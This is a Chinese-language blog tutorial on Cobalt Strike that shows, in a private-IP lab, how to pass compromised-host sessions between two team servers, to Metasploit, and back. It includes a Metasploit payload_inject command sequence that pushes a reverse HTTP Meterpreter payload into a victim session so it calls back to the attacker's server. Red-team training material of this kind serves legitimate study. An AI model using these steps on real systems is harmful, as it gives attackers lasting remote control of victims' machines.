内网渗透神器CobaltStrike之会话管理(五)

桃扇骨 2023-10-07 21:21 39阅读 0赞

## CS之间派生会话 ##

将CS1管理的会话派生至CS2中, 简单来说就是将CS1服务器的肉鸡送给CS2服务器

### 准备环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>描述</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Kali(192.168.47.134)</td> 
   <td>CS TeamServer1</td> 
  </tr> 
  <tr> 
   <td>Kali2(192.168.47.144)</td> 
   <td>CS TeamServer2</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.133)</td> 
   <td>CS客户端,攻击机</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.141)</td> 
   <td>受害机</td> 
  </tr> 
 </tbody> 
</table>

### 操作步骤 ###

首先用CS客户端连接两个不同的CS服务器, 而我们要做的是将CS1的会话派生到CS2中去

![image-20221005225524757][]

在CS2服务器和CS1服务器都新建一个同样配置的监听用于接收派生过来的会话, 监听的host地址要填写为CS2服务器ip地址

![image-20221005225938081][]

![image-20221005230525306][]

派生会话选择上述建立的监听, 随后切换至连接CS2服务器的客户端查看派生过来的主机

![动画][cf5ffd80b775fc2706f07e20059294ae.gif]

![1][]

## CS派生会话至metasploit ##

将CS服务器的会话派生至metasploit中, 方便进行漏洞攻击

### 准备环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>描述</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Kali(192.168.47.134)</td> 
   <td>CS TeamServer1</td> 
  </tr> 
  <tr> 
   <td>Kali2(192.168.47.144)</td> 
   <td>metasploit</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.133)</td> 
   <td>CS客户端,攻击机</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.141)</td> 
   <td>受害机</td> 
  </tr> 
 </tbody> 
</table>

### 操作步骤 ###

进入kali2输入命令:`msfconsole`, 运行metasploit

![image-20221005234248726][]

metasploit新建监听用于接收CS派生过来的会话

![image-20221006153754571][]

返回至CS服务器建立外部监听, payload选择Foreign HTTP, 其余内容与metasploit建立的监听一致

![image-20221006153852260][]

派生会话选择上述建立的外部监听t, 然后返回Metasploit查看上线情况

![动画][2598a3f8d209e42d31ec7f22536c5d69.gif]

## metasploit派生会话至CS ##

将metasploit管理的会话派生至CS服务器

### 准备环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>描述</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Kali(192.168.47.134)</td> 
   <td>CS TeamServer1</td> 
  </tr> 
  <tr> 
   <td>Kali2(192.168.47.144)</td> 
   <td>metasploit</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.133)</td> 
   <td>CS客户端,攻击机</td> 
  </tr> 
  <tr> 
   <td>Windows7(192.168.47.141)</td> 
   <td>受害机</td> 
  </tr> 
 </tbody> 
</table>

### 操作步骤 ###

首先查看MSF中需派生会话的ID, 输入命令: `sessions`, 此处要派生的会话ID为6 (下面的截图截错了)

![image-20221006163339205][]

输入如下命令进行派生会话, 派生完成后返回会话的进程PID为3322

use exploit/windows/local/payload_inject  
    
    set payload windows/meterpreter/reverse_http
    
    set lhost 192.168.47.134
    
    set lport 80
    
    set disablepayloadhandler True  //默认情况下，payload_inject执行之后会在本地产生一个新的handler，由于我们已经有了一个，所以不需要在产生一个，所以这里我们设置为true
    
    set session 6
    
    exploit

![image-20221006173316522][]

返回CS查看上线的会话 (PID:3332)

![image-20221006173808452][]

[image-20221005225524757]: https://img-blog.csdnimg.cn/img_convert/be73ac3c981c72b66676e52c58b04d0a.png
[image-20221005225938081]: https://img-blog.csdnimg.cn/img_convert/f638005fd4135dfa773dcb6d5d364a13.png
[image-20221005230525306]: https://img-blog.csdnimg.cn/img_convert/db0294d7230d3cf9fc075cd2dd421788.png
[cf5ffd80b775fc2706f07e20059294ae.gif]: https://img-blog.csdnimg.cn/img_convert/cf5ffd80b775fc2706f07e20059294ae.gif
[1]: https://img-blog.csdnimg.cn/img_convert/7a00f804441468a4548915c21a6dbb9c.png
[image-20221005234248726]: https://img-blog.csdnimg.cn/img_convert/2b9f69b221f5d9eb3e1b304ab99b3780.png
[image-20221006153754571]: https://img-blog.csdnimg.cn/img_convert/cf472e926a9a10298fb22df3cd9658c5.png
[image-20221006153852260]: https://img-blog.csdnimg.cn/img_convert/b625d0a03513ff8de0f98d9391366b30.png
[2598a3f8d209e42d31ec7f22536c5d69.gif]: https://img-blog.csdnimg.cn/img_convert/2598a3f8d209e42d31ec7f22536c5d69.gif
[image-20221006163339205]: https://img-blog.csdnimg.cn/img_convert/ee2f7a3b19baffc15273b0666a346cc9.png
[image-20221006173316522]: https://img-blog.csdnimg.cn/img_convert/eb61c234d06f31e21f9a782cd7d8a32b.png
[image-20221006173808452]: https://img-blog.csdnimg.cn/img_convert/fcccdfa9e6bd169b58053655afacf59d.png